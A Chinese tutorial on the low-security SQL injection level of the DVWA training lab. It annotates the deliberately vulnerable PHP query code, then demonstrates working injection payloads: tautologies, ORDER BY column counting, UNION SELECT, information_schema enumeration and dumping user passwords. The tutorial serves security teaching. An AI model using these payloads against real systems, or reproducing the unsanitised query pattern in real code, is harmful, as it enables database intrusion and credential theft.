一切外成之下只并到有价值,武器、女人、秘密,甚至灵魂。
涉及知识
涉及到了php+html+mysql的一些基础知识,建议先阅读完之前的相关文章,若有基础可跳过。
为了方便下载,已经保存到当前服务器下
Low级别
代码解读
<form action="#" method="GET">
<p>
User ID:
<input type="text" size="15" name="id">
<input type="submit" name="Submit" value="Submit">
</p>
这个是一个表单,提交方式为GET,传递过去的数据的名字为id,表单按钮属性名为submit。
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// 用REQUESTS获取表单数据,表单属性名为sunbit,然后判断是否存在,存在就执行下面的代码
$id = $_REQUEST[ 'id' ];
// 用REQUESTS获取表单数据,传递过来的数据名为id,这里重新定义一个变量id获取到传入的数据
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
// 数据库查询语句,按照传入的id的数据,从数据库查询first_name, last_name的值
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query )
or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"]))
? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error())
? $___mysqli_res : false)) . '</pre>' );
// 变量result存储获取到的数据
// mysqli_query() 函数执行某个针对数据库的查询,这里之前就设置好数据库为dvwa的数据库
// ___mysqli_ston为数据库连接语句,在别的地方定义好了,这里取全局变量
// 接下来连接数据库然后判断是否连接成功
// die()函数输出一条语句然后退出
// 一个三元判断,如果执行了那条sql语句就返回真
while( $row = mysqli_fetch_assoc( $result ) ) {
$first = $row["first_name"];
$last = $row["last_name"];
// 这里打印输出结果
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
// 关闭数据库连接
}
?>
这个php文件处理那个表单传递过来的数据,然后返回结果,其中执行查询的代码对来自客户端的参数id没有进行任何的检查与过滤。
实战演示
这是我总结的注入大致流程,常规的注入按照此流程进行能有个头绪。
如果对流程还有一些疑惑或者对数据库查询不清楚请先阅读此文章SQL注入基础笔记
正常打开
输入1,然后点击按钮,此时回显
ID: 1
First name: admin
Surname: admin
判读是否存在注入
输入1‘,这个时候页面报错了,根据返回的结果判断存在注入。
判断有多少个字段
使用order by获取字段数,但是如果输入-1’ order by 5这样会报错。这个时候查看源码
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"
可以看到$id的值是被引号包围起来,也就是说明查询的$id类型是字符串型。如何通过注入来判断传递查询的$id是字符串还是数字类型呢?
可以这么做,输入1’ or 1=1’ 这个时候页面报错了,然后输入1’ or ‘1’=’1,这个时候页面打印了所有的数据。
说明传入的参数是字符串类型的时候才可以被带入SQL语句执行查询。
为什么要加上单引号呢?继续回到刚刚那条SQL语句,看到这里user_id = ‘$id’,发现有个单引号吧$id包围起来,如果我输入1的话,传递过去就变成了user_id = ‘1’,如果我传入1’ or ‘1’=’1的话,就变成了user_id = ‘1’ or ‘1’=’1’,这个时候整条SQL语句就变成了
$query = "SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1';"
where后面的条件就变成了下面两个,or的意思就是只要其中一个条件满足就执行。
因为’1’=’1’是永远为真的,所以这个时候就相当于执行了下面这条语句
$query = "SELECT first_name, last_name FROM users;"
这个时候我输入999’ or ‘1’=’1一样也可以获取到所有的数据哦~
使用order by 获取字段数的时候,让前面的语句报错然后执行后面的自定义好的SQL语句。
输入 -1’ order by 5#,这个时候页面报错了。
原因是因为把构造好的语句带入了SQL查询,这个时候查询的SQL语句就变成了这样
$query = "SELECT first_name, last_name FROM users WHERE user_id = '-1' order by 5 #';"
之前说过#在MYSQL中是注释的意思,加上#就相当于把后面的单引号注释掉了,万能密码也是这个原理。
输入-1’ order by 4#报错,输入-1’ order by 3#报错,输入-1’ order by 2#页面正常,说明存在两个字段名。
寻找字段中可以使用的字段类型
输入 -1’ union select 1,2#
使用联合查询判断,发现字段1,2都可以显示出来。
探测一些信息
输入 -1’ union select user(),database()#
获取到了当前用户和当前数据库名
打印该数据库下的所有表名
输入
-1' union select 1,group_concat(TABLE_NAME,0x3c2f62723e) from information_schema.TABLES where TABLE_SCHEMA='dvwa'#
显示结果
可以看到这个数据库下面有两张表,users与guestbook
获取这个表中的所有字段
打算获取users这个表的所有字段名
输入
-1' union select 1,group_concat(column_NAME,0x3c2f62723e) from information_schema.columnS where TABLE_name='users'#
显示结果
可以看到里面的字段名了,然后直接获取数据即可
获取数据
输入
-1' union select 1,group_concat(user,0x3c2f62723e,password) from users#
显示结果
总结
关于这种没有任何过滤,限制防护的注入,只需要先判断传递参数的类型,然后按照流程一步一步来注入即可,注意的是,注入方法不仅仅只有我上面的一种,查询字段数还可以用1′ or 1=1 order by 3 #,获取信息union slect联合查询使用1′ union select 1,database() #,主要是先把知识积累好,然后灵活运用。